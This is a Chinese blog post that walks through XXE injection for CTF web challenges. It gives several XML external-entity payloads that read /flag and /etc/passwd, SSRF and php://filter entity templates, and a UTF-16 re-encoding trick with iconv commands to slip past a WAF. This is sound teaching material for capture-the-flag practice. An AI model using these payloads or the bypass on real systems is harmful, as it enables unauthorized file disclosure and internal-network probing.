CTF-WEB之XXE入门

优秀的人,不是不合群,而是他们合群的人里面没有你

XXE即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

解题思路

  1. 主要是根据提示找到需要读取的flag在哪儿一般来说仔细看源代码,扫描等~,用什么方式读取
  2. 然后拼接模板payload一把锁哈,第一步就是试一试读取etc看看能不能成
  3. 难点在于WAF拦截,使用不同的UTF-16编码绕过
  4. 特别注意,自己在本地subline写好payload后再复制获取,千万别再burp直接写
  5. 最重点的,多试一试每个输入口,有些地方填写不会输出值

例题1 【入门学习】

抓包发现长这样的,基本都是xml试一试xxe

三个红色框都是自己要改的,第一个第二个,基本有这个固定的格式,但是第二个定义的名字,必须要在第三个里面引用.第二个除了用file读取文件,还可以用http协议内网ssrf,还可以用php协议读取

system"file:///path/to/file.ext">

system"http://url/file.ext">

system"php://filter/read=convert.base64-encode/resource=/home/bee/test.php">

system"php://filter/read=convert.base64-encode/resource=flag.php">

下面是固定的格式套路

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abcd [
  <!ENTITY admin666 SYSTEM "file:///flag">
]>

  <user><username>&admin666;</username><password>admin</password></user>

注意utf-8的大小写,然后就是burpsuite的编辑功能有问题,最好在记事本写好后,复制上去。

例题2 【考察上传】

根据提示,要上传xml,和题目1一样,补充第一个第二个红框内容,固定格式写好,如果有WAF拦截,修改编码utf-8改成utf-16。或者UTF-16BE,还是不行把文件编码另存为utf-16。

<?xml version="1.0"?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>Alice</name>
        <email>alice@fakesite.com</email>
        <group>&xxe;</group>
        <intro>&xxe;</intro>
    </user>
</users>

转换格式在kali下命令:

iconv -f utf-8 -t utf-16be > payload.8-16be.xml
iconv -f utf8 -t utf-16 1.xml>2.xml

例题3

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<lucky_number>&xxe;</lucky_number>

例题4

easy xxe:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY iwantthisfilenow SYSTEM "file:///etc/passwd">]>
<root>
<firstname>john</firstname>
<phonenumber>0000</phonenumber>
<emailadd>&iwantthisfilenow;</emailadd>
</root>
坚持原创技术分享,您的支持将鼓励我继续创作!

-------------本文结束感谢您的阅读-------------

腾讯云主机优惠打折:最新活动地址


版权声明

LangZi_Blog's by Jy Xie is licensed under a Creative Commons BY-NC-ND 4.0 International License
由浪子LangZi创作并维护的Langzi_Blog's博客采用创作共用保留署名-非商业-禁止演绎4.0国际许可证
本文首发于Langzi_Blog's 博客( http://langzi.fun ),版权所有,侵权必究。

0%